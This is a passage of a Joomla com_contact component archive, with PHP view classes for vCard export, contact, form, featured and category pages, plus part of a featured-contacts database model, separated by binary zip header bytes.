PK���\����(com_contact/src/View/Contact/VcfView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Contact;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\AbstractView;
use Joomla\CMS\MVC\View\GenericDataException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * View to create a VCF for a contact item
 *
 * @since  1.6
 */
class VcfView extends AbstractView
{
    /**
     * The contact item
     *
     * @var   \Joomla\CMS\Object\CMSObject
     */
    protected $item;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @throws  GenericDataException
     */
    public function display($tpl = null)
    {
        // Get model data.
        $item = $this->get('Item');

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        $this->getDocument()->setMimeEncoding('text/directory', true);

        // Compute lastname, firstname and middlename
        $item->name = trim($item->name);

        // "Lastname, Firstname Middlename" format support
        // e.g. "de Gaulle, Charles"
        $namearray = explode(',', $item->name);

        if (count($namearray) > 1) {
            $lastname         = $namearray[0];
            $card_name        = $lastname;
            $name_and_midname = trim($namearray[1]);

            $firstname = '';

            if (!empty($name_and_midname)) {
                $namearray = explode(' ', $name_and_midname);

                $firstname  = $namearray[0];
                $middlename = (count($namearray) > 1) ? $namearray[1] : '';
                $card_name  = $firstname . ' ' . ($middlename ? $middlename . ' ' : '') . $card_name;
            }
        } else {
            // "Firstname Middlename Lastname" format support
            $namearray = explode(' ', $item->name);

            $middlename = (count($namearray) > 2) ? $namearray[1] : '';
            $firstname  = array_shift($namearray);
            $lastname   = count($namearray) ? end($namearray) : '';
            $card_name  = $firstname . ($middlename ? ' ' . $middlename : '') . ($lastname ? ' ' . $lastname : '');
        }

        $rev = date('c', strtotime($item->modified));

        Factory::getApplication()->setHeader('Content-disposition', 'attachment; filename="' . $card_name . '.vcf"', true);

        $vcard   = [];
        $vcard[] = 'BEGIN:VCARD';
        $vcard[] = 'VERSION:3.0';
        $vcard[] = 'N:' . $lastname . ';' . $firstname . ';' . $middlename;
        $vcard[] = 'FN:' . $item->name;
        $vcard[] = 'TITLE:' . $item->con_position;
        $vcard[] = 'TEL;TYPE=WORK,VOICE:' . $item->telephone;
        $vcard[] = 'TEL;TYPE=WORK,FAX:' . $item->fax;
        $vcard[] = 'TEL;TYPE=WORK,MOBILE:' . $item->mobile;
        $vcard[] = 'ADR;TYPE=WORK:;;' . $item->address . ';' . $item->suburb . ';' . $item->state . ';' . $item->postcode . ';' . $item->country;
        $vcard[] = 'LABEL;TYPE=WORK:' . $item->address . "\n" . $item->suburb . "\n" . $item->state . "\n" . $item->postcode . "\n" . $item->country;
        $vcard[] = 'EMAIL;TYPE=PREF,INTERNET:' . $item->email_to;
        $vcard[] = 'URL:' . $item->webpage;
        $vcard[] = 'REV:' . $rev . 'Z';
        $vcard[] = 'END:VCARD';

        echo implode("\n", $vcard);
    }
}
PK���\QG�R>R>)com_contact/src/View/Contact/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Contact;

use Joomla\CMS\Categories\Categories;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML Contact View class for the Contact component
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The item model state
     *
     * @var    \Joomla\Registry\Registry
     *
     * @since  1.6
     */
    protected $state;

    /**
     * The form object for the contact item
     *
     * @var    \Joomla\CMS\Form\Form
     *
     * @since  1.6
     */
    protected $form;

    /**
     * The item object details
     *
     * @var    \Joomla\CMS\Object\CMSObject
     *
     * @since  1.6
     */
    protected $item;

    /**
     * The page to return to on submission
     *
     * @var    string
     *
     * @since  1.6
     *
     * @todo Implement this functionality
     */
    protected $return_page = '';

    /**
     * Should we show a captcha form for the submission of the contact request?
     *
     * @var    boolean
     *
     * @since  3.6.3
     */
    protected $captchaEnabled = false;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * The user object
     *
     * @var    \Joomla\CMS\User\User
     *
     * @since  4.0.0
     */
    protected $user;

    /**
     * Other contacts in this contacts category
     *
     * @var    array
     *
     * @since  4.0.0
     */
    protected $contacts;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The flag to mark if the active menu item is linked to the contact being displayed
     *
     * @var    boolean
     *
     * @since  4.0.0
     */
    protected $menuItemMatchContact = false;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void|boolean
     */
    public function display($tpl = null)
    {
        $app        = Factory::getApplication();
        $user       = $this->getCurrentUser();
        $state      = $this->get('State');
        $item       = $this->get('Item');
        $this->form = $this->get('Form');
        $params     = $state->get('params');
        $contacts   = [];

        $temp = clone $params;

        $active = $app->getMenu()->getActive();

        // If the current view is the active item and a contact view for this contact, then the menu item params take priority
        if (
            $active
            && $active->component == 'com_contact'
            && isset($active->query['view'], $active->query['id'])
            && $active->query['view'] == 'contact'
            && $active->query['id'] == $item->id
        ) {
            $this->menuItemMatchContact = true;

            // Load layout from active query (in case it is an alternative menu item)
            if (isset($active->query['layout'])) {
                $this->setLayout($active->query['layout']);
            } elseif ($layout = $item->params->get('contact_layout')) {
                // Check for alternative layout of contact
                $this->setLayout($layout);
            }

            $item->params->merge($temp);
        } else {
            // Merge so that contact params take priority
            $temp->merge($item->params);
            $item->params = $temp;

            if ($layout = $item->params->get('contact_layout')) {
                $this->setLayout($layout);
            }
        }

        // Collect extra contact information when this information is required
        if ($item && $item->params->get('show_contact_list')) {
            // Get Category Model data
            /** @var \Joomla\Component\Contact\Site\Model\CategoryModel $categoryModel */
            $categoryModel = $app->bootComponent('com_contact')->getMVCFactory()
                ->createModel('Category', 'Site', ['ignore_request' => true]);

            $categoryModel->setState('category.id', $item->catid);
            $categoryModel->setState('list.ordering', 'a.name');
            $categoryModel->setState('list.direction', 'asc');
            $categoryModel->setState('filter.published', 1);

            $contacts = $categoryModel->getItems();
        }

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Check if access is not public
        $groups = $user->getAuthorisedViewLevels();

        if (!in_array($item->access, $groups) || !in_array($item->category_access, $groups)) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return false;
        }

        $options['category_id'] = $item->catid;
        $options['order by']    = 'a.default_con DESC, a.ordering ASC';

        /**
         * Handle email cloaking
         *
         * Keep a copy of the raw email address so it can
         * still be accessed in the layout if needed.
         */
        $item->email_raw = $item->email_to;

        if ($item->email_to && $item->params->get('show_email')) {
            $item->email_to = HTMLHelper::_('email.cloak', $item->email_to, (bool) $item->params->get('add_mailto_link', true));
        }

        if (
            $item->params->get('show_street_address') || $item->params->get('show_suburb') || $item->params->get('show_state')
            || $item->params->get('show_postcode') || $item->params->get('show_country')
        ) {
            if (!empty($item->address) || !empty($item->suburb) || !empty($item->state) || !empty($item->country) || !empty($item->postcode)) {
                $item->params->set('address_check', 1);
            }
        } else {
            $item->params->set('address_check', 0);
        }

        // Manage the display mode for contact detail groups
        switch ($item->params->get('contact_icons')) {
            case 1:
                // Text
                $item->params->set('marker_address', Text::_('COM_CONTACT_ADDRESS') . ': ');
                $item->params->set('marker_email', Text::_('JGLOBAL_EMAIL') . ': ');
                $item->params->set('marker_telephone', Text::_('COM_CONTACT_TELEPHONE') . ': ');
                $item->params->set('marker_fax', Text::_('COM_CONTACT_FAX') . ': ');
                $item->params->set('marker_mobile', Text::_('COM_CONTACT_MOBILE') . ': ');
                $item->params->set('marker_webpage', Text::_('COM_CONTACT_WEBPAGE') . ': ');
                $item->params->set('marker_misc', Text::_('COM_CONTACT_OTHER_INFORMATION') . ': ');
                $item->params->set('marker_class', 'jicons-text');
                break;

            case 2:
                // None
                $item->params->set('marker_address', '');
                $item->params->set('marker_email', '');
                $item->params->set('marker_telephone', '');
                $item->params->set('marker_mobile', '');
                $item->params->set('marker_fax', '');
                $item->params->set('marker_misc', '');
                $item->params->set('marker_webpage', '');
                $item->params->set('marker_class', 'jicons-none');
                break;

            default:
                if ($item->params->get('icon_address')) {
                    $item->params->set(
                        'marker_address',
                        HTMLHelper::_('image', $item->params->get('icon_address', ''), Text::_('COM_CONTACT_ADDRESS'), false)
                    );
                }

                if ($item->params->get('icon_email')) {
                    $item->params->set(
                        'marker_email',
                        HTMLHelper::_('image', $item->params->get('icon_email', ''), Text::_('COM_CONTACT_EMAIL'), false)
                    );
                }

                if ($item->params->get('icon_telephone')) {
                    $item->params->set(
                        'marker_telephone',
                        HTMLHelper::_('image', $item->params->get('icon_telephone', ''), Text::_('COM_CONTACT_TELEPHONE'), false)
                    );
                }

                if ($item->params->get('icon_fax', '')) {
                    $item->params->set(
                        'marker_fax',
                        HTMLHelper::_('image', $item->params->get('icon_fax', ''), Text::_('COM_CONTACT_FAX'), false)
                    );
                }

                if ($item->params->get('icon_misc')) {
                    $item->params->set(
                        'marker_misc',
                        HTMLHelper::_('image', $item->params->get('icon_misc', ''), Text::_('COM_CONTACT_OTHER_INFORMATION'), false)
                    );
                }

                if ($item->params->get('icon_mobile')) {
                    $item->params->set(
                        'marker_mobile',
                        HTMLHelper::_('image', $item->params->get('icon_mobile', ''), Text::_('COM_CONTACT_MOBILE'), false)
                    );
                }

                if ($item->params->get('icon_webpage')) {
                    $item->params->set(
                        'marker_webpage',
                        HTMLHelper::_('image', $item->params->get('icon_webpage', ''), Text::_('COM_CONTACT_WEBPAGE'), false)
                    );
                }

                $item->params->set('marker_class', 'jicons-icons');
                break;
        }

        // Add links to contacts
        if ($item->params->get('show_contact_list') && count($contacts) > 1) {
            foreach ($contacts as &$contact) {
                $contact->link = Route::_(RouteHelper::getContactRoute($contact->slug, $contact->catid, $contact->language));
            }

            $item->link = Route::_(RouteHelper::getContactRoute($item->slug, $item->catid, $item->language), false);
        }

        // Process the content plugins.
        PluginHelper::importPlugin('content');
        $offset = $state->get('list.offset');

        // Fix for where some plugins require a text attribute
        $item->text = '';

        if (!empty($item->misc)) {
            $item->text = $item->misc;
        }

        $app->triggerEvent('onContentPrepare', ['com_contact.contact', &$item, &$item->params, $offset]);

        // Store the events for later
        $item->event                    = new \stdClass();
        $results                        = $app->triggerEvent('onContentAfterTitle', ['com_contact.contact', &$item, &$item->params, $offset]);
        $item->event->afterDisplayTitle = trim(implode("\n", $results));

        $results                           = $app->triggerEvent('onContentBeforeDisplay', ['com_contact.contact', &$item, &$item->params, $offset]);
        $item->event->beforeDisplayContent = trim(implode("\n", $results));

        $results                          = $app->triggerEvent('onContentAfterDisplay', ['com_contact.contact', &$item, &$item->params, $offset]);
        $item->event->afterDisplayContent = trim(implode("\n", $results));

        if (!empty($item->text)) {
            $item->misc = $item->text;
        }

        $contactUser = null;

        if ($item->params->get('show_user_custom_fields') && $item->user_id && $contactUser = Factory::getUser($item->user_id)) {
            $contactUser->text = '';
            $app->triggerEvent('onContentPrepare', ['com_users.user', &$contactUser, &$item->params, 0]);

            if (!isset($contactUser->jcfields)) {
                $contactUser->jcfields = [];
            }
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($item->params->get('pageclass_sfx', ''));

        $this->params      = &$item->params;
        $this->state       = &$state;
        $this->item        = &$item;
        $this->user        = &$user;
        $this->contacts    = &$contacts;
        $this->contactUser = $contactUser;

        $model = $this->getModel();
        $model->hit();

        $captchaSet = $item->params->get('captcha', $app->get('captcha', '0'));

        foreach (PluginHelper::getPlugin('captcha') as $plugin) {
            if ($captchaSet === $plugin->name) {
                $this->captchaEnabled = true;
                break;
            }
        }

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function _prepareDocument()
    {
        $app     = Factory::getApplication();
        $pathway = $app->getPathway();

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_CONTACT_DEFAULT_PAGE_TITLE'));
        }

        $title = $this->params->get('page_title', '');

        // If the menu item does not concern this contact
        if (!$this->menuItemMatchContact) {
            // If this is not a single contact menu item, set the page title to the contact title
            if ($this->item->name) {
                $title = $this->item->name;
            }

            // Get ID of the category from active menu item
            if (
                $menu && $menu->component == 'com_contact' && isset($menu->query['view'])
                && in_array($menu->query['view'], ['categories', 'category'])
            ) {
                $id = $menu->query['id'];
            } else {
                $id = 0;
            }

            $path     = [['title' => $this->item->name, 'link' => '']];
            $category = Categories::getInstance('Contact')->get($this->item->catid);

            while ($category !== null && $category->id != $id && $category->id !== 'root') {
                $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
                $category = $category->getParent();
            }

            $path = array_reverse($path);

            foreach ($path as $item) {
                $pathway->addItem($item['title'], $item['link']);
            }
        }

        if (empty($title)) {
            $title = $this->item->name;
        }

        $this->setDocumentTitle($title);

        if ($this->item->metadesc) {
            $this->getDocument()->setDescription($this->item->metadesc);
        } elseif ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }

        $mdata = $this->item->metadata->toArray();

        foreach ($mdata as $k => $v) {
            if ($v) {
                $this->getDocument()->setMetaData($k, $v);
            }
        }
    }
}
PK���\w�pv��&com_contact/src/View/Form/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Form;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\Component\Contact\Administrator\Helper\ContactHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML Contact View class for the Contact component
 *
 * @since  4.0.0
 */
class HtmlView extends BaseHtmlView
{
    /**
     * @var    \Joomla\CMS\Form\Form
     * @since  4.0.0
     */
    protected $form;

    /**
     * @var    object
     * @since  4.0.0
     */
    protected $item;

    /**
     * @var    string
     * @since  4.0.0
     */
    protected $return_page;

    /**
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx;

    /**
     * @var    \Joomla\Registry\Registry
     * @since  4.0.0
     */
    protected $state;

    /**
     * @var    \Joomla\Registry\Registry
     * @since  4.0.0
     */
    protected $params;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void|boolean
     *
     * @throws \Exception
     * @since  4.0.0
     */
    public function display($tpl = null)
    {
        $user = $this->getCurrentUser();
        $app  = Factory::getApplication();

        // Get model data.
        $this->state       = $this->get('State');
        $this->item        = $this->get('Item');
        $this->form        = $this->get('Form');
        $this->return_page = $this->get('ReturnPage');

        if (empty($this->item->id)) {
            $authorised = $user->authorise('core.create', 'com_contact') || count($user->getAuthorisedCategories('com_contact', 'core.create'));
        } else {
            // Since we don't track these assets at the item level, use the category id.
            $canDo      = ContactHelper::getActions('com_contact', 'category', $this->item->catid);
            $authorised = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by === $user->id);
        }

        if ($authorised !== true) {
            $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error');
            $app->setHeader('status', 403, true);

            return false;
        }

        $this->item->tags = new TagsHelper();

        if (!empty($this->item->id)) {
            $this->item->tags->getItemTags('com_contact.contact', $this->item->id);
        }

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            $app->enqueueMessage(implode("\n", $errors), 'error');

            return false;
        }

        // Create a shortcut to the parameters.
        $this->params = $this->state->params;

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''));

        // Override global params with contact specific params
        $this->params->merge($this->item->params);

        // Propose current language as default when creating new contact
        if (empty($this->item->id) && Multilanguage::isEnabled()) {
            $lang = $this->getLanguage()->getTag();
            $this->form->setFieldAttribute('language', 'default', $lang);
        }

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @throws \Exception
     *
     * @since  4.0.0
     */
    protected function _prepareDocument()
    {
        $app = Factory::getApplication();

        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = $app->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_CONTACT_FORM_EDIT_CONTACT'));
        }

        $title = $this->params->def('page_title', Text::_('COM_CONTACT_FORM_EDIT_CONTACT'));

        $this->setDocumentTitle($title);

        $pathway = $app->getPathWay();
        $pathway->addItem($title, '');

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('menu-meta_keywords')) {
            $this->getDocument()->setMetaData('keywords', $this->params->get('menu-meta_keywords'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\��ll*com_contact/src/View/Featured/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Featured;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Mail\MailHelper;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Featured View class
 *
 * @since  1.6
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The item model state
     *
     * @var    \Joomla\Registry\Registry
     *
     * @since  1.6.0
     */
    protected $state;

    /**
     * The item details
     *
     * @var    \Joomla\CMS\Object\CMSObject
     *
     * @since  1.6.0
     */
    protected $items;

    /**
     * The pagination object
     *
     * @var    \Joomla\CMS\Pagination\Pagination
     *
     * @since  1.6.0
     */
    protected $pagination;

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     *
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * The page class suffix
     *
     * @var    string
     *
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * Method to display the view.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function display($tpl = null)
    {
        $app    = Factory::getApplication();
        $params = $app->getParams();

        // Get some data from the models
        $state      = $this->get('State');
        $items      = $this->get('Items');
        $category   = $this->get('Category');
        $children   = $this->get('Children');
        $parent     = $this->get('Parent');
        $pagination = $this->get('Pagination');

        // Flag indicates to not add limitstart=0 to URL
        $pagination->hideEmptyLimitstart = true;

        // Check for errors.
        if (count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        // Prepare the data.
        // Compute the contact slug.
        for ($i = 0, $n = count($items); $i < $n; $i++) {
            $item         = &$items[$i];
            $item->slug   = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
            $temp         = $item->params;
            $item->params = clone $params;
            $item->params->merge($temp);

            if ($item->params->get('show_email', 0) == 1) {
                $item->email_to = trim($item->email_to);

                if (!empty($item->email_to) && MailHelper::isEmailAddress($item->email_to)) {
                    $item->email_to = HTMLHelper::_('email.cloak', $item->email_to);
                } else {
                    $item->email_to = '';
                }
            }
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

        $maxLevel         = $params->get('maxLevel', -1);
        $this->maxLevel   = &$maxLevel;
        $this->state      = &$state;
        $this->items      = &$items;
        $this->category   = &$category;
        $this->children   = &$children;
        $this->params     = &$params;
        $this->parent     = &$parent;
        $this->pagination = &$pagination;

        $this->_prepareDocument();

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     *
     * @since   1.6
     */
    protected function _prepareDocument()
    {
        // Because the application sets a default page title,
        // we need to get it from the menu item itself
        $menu = Factory::getApplication()->getMenu()->getActive();

        if ($menu) {
            $this->params->def('page_heading', $this->params->get('page_title', $menu->title));
        } else {
            $this->params->def('page_heading', Text::_('COM_CONTACT_DEFAULT_PAGE_TITLE'));
        }

        $this->setDocumentTitle($this->params->get('page_title', ''));

        if ($this->params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($this->params->get('menu-meta_description'));
        }

        if ($this->params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $this->params->get('robots'));
        }
    }
}
PK���\-�߉||*com_contact/src/View/Category/FeedView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Category;

use Joomla\CMS\MVC\View\CategoryFeedView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Contact component
 *
 * @since  1.5
 */
class FeedView extends CategoryFeedView
{
    /**
     * @var    string  The name of the view to link individual items to
     * @since  3.2
     */
    protected $viewName = 'contact';

    /**
     * Method to reconcile non standard names from components to usage in this class.
     * Typically overridden in the component feed view class.
     *
     * @param   object  $item  The item for a feed, an element of the $items array.
     *
     * @return  void
     *
     * @since   3.2
     */
    protected function reconcileNames($item)
    {
        parent::reconcileNames($item);

        $item->description = $item->address;
    }
}
PK���\���6��*com_contact/src/View/Category/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\View\Category;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Mail\MailHelper;
use Joomla\CMS\MVC\View\CategoryView;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * HTML View class for the Contacts component
 *
 * @since  1.5
 */
class HtmlView extends CategoryView
{
    /**
     * @var    string  The name of the extension for the category
     * @since  3.2
     */
    protected $extension = 'com_contact';

    /**
     * @var    string  Default title to use for page title
     * @since  3.2
     */
    protected $defaultPageTitle = 'COM_CONTACT_DEFAULT_PAGE_TITLE';

    /**
     * @var    string  The name of the view to link individual items to
     * @since  3.2
     */
    protected $viewName = 'contact';

    /**
     * Run the standard Joomla plugins
     *
     * @var    boolean
     * @since  3.5
     */
    protected $runPlugins = true;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     */
    public function display($tpl = null)
    {
        parent::commonCategoryDisplay();

        // Flag indicates to not add limitstart=0 to URL
        $this->pagination->hideEmptyLimitstart = true;

        // Prepare the data.
        // Compute the contact slug.
        foreach ($this->items as $item) {
            $item->slug   = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
            $temp         = $item->params;
            $item->params = clone $this->params;
            $item->params->merge($temp);

            if ($item->params->get('show_email_headings', 0) == 1) {
                $item->email_to = trim($item->email_to);

                if (!empty($item->email_to) && MailHelper::isEmailAddress($item->email_to)) {
                    $item->email_to = HTMLHelper::_('email.cloak', $item->email_to);
                } else {
                    $item->email_to = '';
                }
            }
        }

        parent::display($tpl);
    }

    /**
     * Prepares the document
     *
     * @return  void
     */
    protected function prepareDocument()
    {
        parent::prepareDocument();

        parent::addFeed();

        if ($this->menuItemMatchCategory) {
            // If the active menu item is linked directly to the category being displayed, no further process is needed
            return;
        }

        // Get ID of the category from active menu item
        $menu = $this->menu;

        if (
            $menu && $menu->component == 'com_contact' && isset($menu->query['view'])
            && in_array($menu->query['view'], ['categories', 'category'])
        ) {
            $id = $menu->query['id'];
        } else {
            $id = 0;
        }

        $path     = [['title' => $this->category->title, 'link' => '']];
        $category = $this->category->getParent();

        while ($category !== null && $category->id != $id && $category->id !== 'root') {
            $path[]   = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)];
            $category = $category->getParent();
        }

        $path = array_reverse($path);

        foreach ($path as $item) {
            $this->pathway->addItem($item['title'], $item['link']);
        }
    }
}
PK���\�e�OO'com_contact/src/Model/FeaturedModel.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contact\Site\Model;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\MVC\Model\ListModel;
use Joomla\Database\DatabaseQuery;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Featured contact model class.
 *
 * @since  1.6.0
 */
class FeaturedModel extends ListModel
{
    /**
     * Constructor.
     *
     * @param   array  $config  An optional associative array of configuration settings.
     *
     * @since   1.6
     */
    public function __construct($config = [])
    {
        if (empty($config['filter_fields'])) {
            $config['filter_fields'] = [
                'id', 'a.id',
                'name', 'a.name',
                'con_position', 'a.con_position',
                'suburb', 'a.suburb',
                'state', 'a.state',
                'country', 'a.country',
                'ordering', 'a.ordering',
            ];
        }

        parent::__construct($config);
    }

    /**
     * Method to get a list of items.
     *
     * @return  mixed  An array of objects on success, false on failure.
     */
    public function getItems()
    {
        // Invoke the parent getItems method to get the main list
        $items = parent::getItems();

        // Convert the params field into an object, saving original in _params
        for ($i = 0, $n = count($items); $i < $n; $i++) {
            $item = &$items[$i];

            if (!isset($this->_params)) {
                $item->params = new Registry($item->params);
            }
        }

        return $items;
    }

    /**
     * Method to build an SQL query to load the list data.
     *
     * @return  DatabaseQuery    An SQL query
     *
     * @since   1.6
     */
    protected function getListQuery()
    {
        $user   = $this->getCurrentUser();
        $groups = $user->getAuthorisedViewLevels();

        // Create a new query object.
        $db    = $this->getDatabase();
        $query = $db->getQuery(true);

        // Select required fields from the categories.
        $query->select($this->getState('list.select', 'a.*'))
            ->from($db->quoteName('#__contact_details', 'a'))
            ->where($db->quoteName('a.featured') . ' = 1')
            ->whereIn($db->quoteName('a.access'), $groups)
            ->innerJoin($db->quoteName('#__categories', 'c') . ' ON c.id = a.catid')
            ->whereIn($db->quoteName('c.access'), $groups);

        // Filter by category.
        if ($categoryId = $this->getState('category.id')) {
            $query->where($db->quoteName('a.catid') . ' = :catid');
            $query->bind(':catid', $categoryId, ParameterType::INTEGER);
        }

        $query->select('c.published as cat_published, c.published AS parents_published')
            ->where('c.published = 1');

        // Filter by state
        $state = $this->getState('filter.published');

        if (is_numeric($state)) {
            $query->where($db->quoteName('a.published') . ' = :published');
            $query->bind(':published', $state, ParameterType::INTEGER);

            // Filter by start and end dates.
            $nowDate = Factory::getDate()->toSql();

            $query->where('(' . $db->quoteName('a.publish_up') .
                ' IS NULL OR ' . $db->quoteName('a.publish_up') . ' <= :publish_up)')
                ->where('(' . $db->quoteName('a.publish_down') .
                    ' IS NULL OR ' . $db->quoteName('a.publish_down') . ' >= :publish_down)')
                ->bind(':publish_up', $nowDate)
                ->bind(':publish_down', $nowDate);
        }

        // Filter by search in title
        $search = $this->getState('list.filter');

        // Filter by search in title
        if (!empty($search)) {
            $search = '%' . trim($search) . '%';
            $query->where($db->quoteName('a.name') . ' LIKE :name ');
            $query->bind(':name', $search);
        }

        // Filter by language
        if ($this->getState('filter.language')) {
            $query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
        }

        // Add the list ordering clause.
        $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

        return $query;
    }

    /**
     * Method to auto-populate the model state.
     *
     * Note. Calling getState in this method will result in recursion.
     *
